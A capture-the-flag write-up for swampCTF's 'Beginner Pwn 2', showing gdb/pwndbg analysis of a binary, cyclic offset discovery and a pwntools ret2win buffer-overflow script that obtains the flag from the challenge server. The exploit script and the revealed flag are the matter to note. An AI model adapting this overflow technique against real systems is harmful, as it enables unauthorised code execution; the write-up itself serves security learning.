PWN | Beginner Pwn 2

To get the flag, you need to perform a ret2win

I used gdb to analyze the binary file

```
┌──(kali㉿whiterobber)-[~]
└─$ gdb binary
GNU gdb (Debian 16.2-2) 16.2
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 156 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break)
Reading symbols from binary...
(No debugging symbols found in binary)
------- tip of the day (disable with set show-tips off) -------
Use the telescope command to dereference a given address/pointer multiple times (if the dereferenced value is a valid ptr; see config telescope to configure its behavior)
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  puts@plt
0x0000000000401040  fread@plt
0x0000000000401050  fclose@plt
0x0000000000401060  printf@plt
0x0000000000401070  gets@plt
0x0000000000401080  setvbuf@plt
0x0000000000401090  fopen@plt
0x00000000004010a0  _start
0x00000000004010d0  _dl_relocate_static_pie
0x00000000004010e0  deregister_tm_clones
0x0000000000401110  register_tm_clones
0x0000000000401150  __do_global_dtors_aux
0x0000000000401180  frame_dummy
0x0000000000401186  win
0x0000000000401228  main
```

Let's disassemble the win function and get start/ret addresses

```
pwndbg> disassemble win
Dump of assembler code for function win:
   0x0000000000401186 <+0>:     push   rbp
   0x0000000000401187 <+1>:     mov    rbp,rsp
   0x000000000040118a <+4>:     sub    rsp,0x30
   0x000000000040118e <+8>:     mov    QWORD PTR [rbp-0x30],0x0
   0x0000000000401196 <+16>:    mov    QWORD PTR [rbp-0x28],0x0
   0x000000000040119e <+24>:    mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004011a6 <+32>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004011ae <+40>:    mov    DWORD PTR [rbp-0x11],0x0
   0x00000000004011b5 <+47>:    lea    rax,[rip+0xe48]        # 0x402004
   0x00000000004011bc <+54>:    mov    rdi,rax
   0x00000000004011bf <+57>:    call   0x401030 <puts@plt>
   0x00000000004011c4 <+62>:    lea    rax,[rip+0xe3d]        # 0x402008
   0x00000000004011cb <+69>:    mov    rsi,rax
   0x00000000004011ce <+72>:    lea    rax,[rip+0xe35]        # 0x40200a
   0x00000000004011d5 <+79>:    mov    rdi,rax
   0x00000000004011d8 <+82>:    call   0x401090 <fopen@plt>
   0x00000000004011dd <+87>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004011e1 <+91>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004011e5 <+95>:    lea    rax,[rbp-0x30]
   0x00000000004011e9 <+99>:    mov    rcx,rdx
   0x00000000004011ec <+102>:   mov    edx,0x1e
   0x00000000004011f1 <+107>:   mov    esi,0x1
   0x00000000004011f6 <+112>:   mov    rdi,rax
   0x00000000004011f9 <+115>:   call   0x401040 <fread@plt>
   0x00000000004011fe <+120>:   lea    rax,[rbp-0x30]
   0x0000000000401202 <+124>:   mov    rsi,rax
   0x0000000000401205 <+127>:   lea    rax,[rip+0xe07]        # 0x402013
   0x000000000040120c <+134>:   mov    rdi,rax
   0x000000000040120f <+137>:   mov    eax,0x0
   0x0000000000401214 <+142>:   call   0x401060 <printf@plt>
   0x0000000000401219 <+147>:   mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040121d <+151>:   mov    rdi,rax
   0x0000000000401220 <+154>:   call   0x401050 <fclose@plt>
   0x0000000000401225 <+159>:   nop
   0x0000000000401226 <+160>:   leave
   0x0000000000401227 <+161>:   ret
```

Start address: **0x0000000000401186**
Ret address:
0x0000000000401227

The next step is to get the offset, for this we create a payload of 100 characters using cyclic to overflow the buffer

```
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> r
Starting program: /home/kali/binary
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Hello, aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa!

Program received signal SIGSEGV, Segmentation fault.
0x00000000004012ac in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────
 RAX  0x0
*RBX  0x7fffffffde08 —▸ 0x7fffffffe18f ◂— '/home/kali/binary'
 RCX  0x0
 RDX  0x0
*RDI  0x7fffffffdb00 —▸ 0x7fffffffdb30 ◂— 'Hello, aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa!\n'
*RSI  0x7fffffffdb30 ◂— 'Hello, aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa!\n'
*R8   0x73
*R9   0xffffffff
 R10  0x0
*R11  0x202
 R12  0x0
*R13  0x7fffffffde18 —▸ 0x7fffffffe1a1 ◂— 'NMAP_PRIVILEGED='
*R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*R15  0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401150 (__do_global_dtors_aux) ◂— endbr64
*RBP  0x6163616161616161 ('aaaaaaca')
*RSP  0x7fffffffdcf8 ◂— 'aaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
*RIP  0x4012ac (main+132) ◂— ret
──────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────
► 0x4012ac <main+132>    ret    <0x6164616161616161>
```

The address **0x6164616161616161616161616161** has been obtained, now we can find out the offset

```
pwndbg> cyclic -l 0x6164616161616161
Finding cyclic pattern of 8 bytes: b'aaaaaada' (hex: 0x6161616161616461)
Found at offset 18
```

Offset: **18**

I wrote the following code to get the flag

```
# import pwntools
from pwn import *
p = remote("chals.swampctf.com", 40001)
offset = 18
payload = b'A' * offset
# ret add
payload += p64(0x0000000000401227)
# start add
payload += p64(0x0000000000401186)
p.sendline(payload)
p.interactive()
```

```
┌──(kali㉿whiterobber)-[~]
└─$ python3 pwn2.py
[+] Opening connection to chals.swampctf.com on port 40001: Done
[*] Switching to interactive mode
Hello, AAAAAAAAAAAAAAAA'\x12@!
win
Here is your flag! swampCTF{1t5_t1m3_t0_r3turn!!}
$
[*] Got EOF while reading in interactive
$
[*] Closed connection to chals.swampctf.com port 40001
[*] Got EOF while sending in interactive
```

Flag: **swampCTF{1t5_t1m3_t0_r3turn!!}**
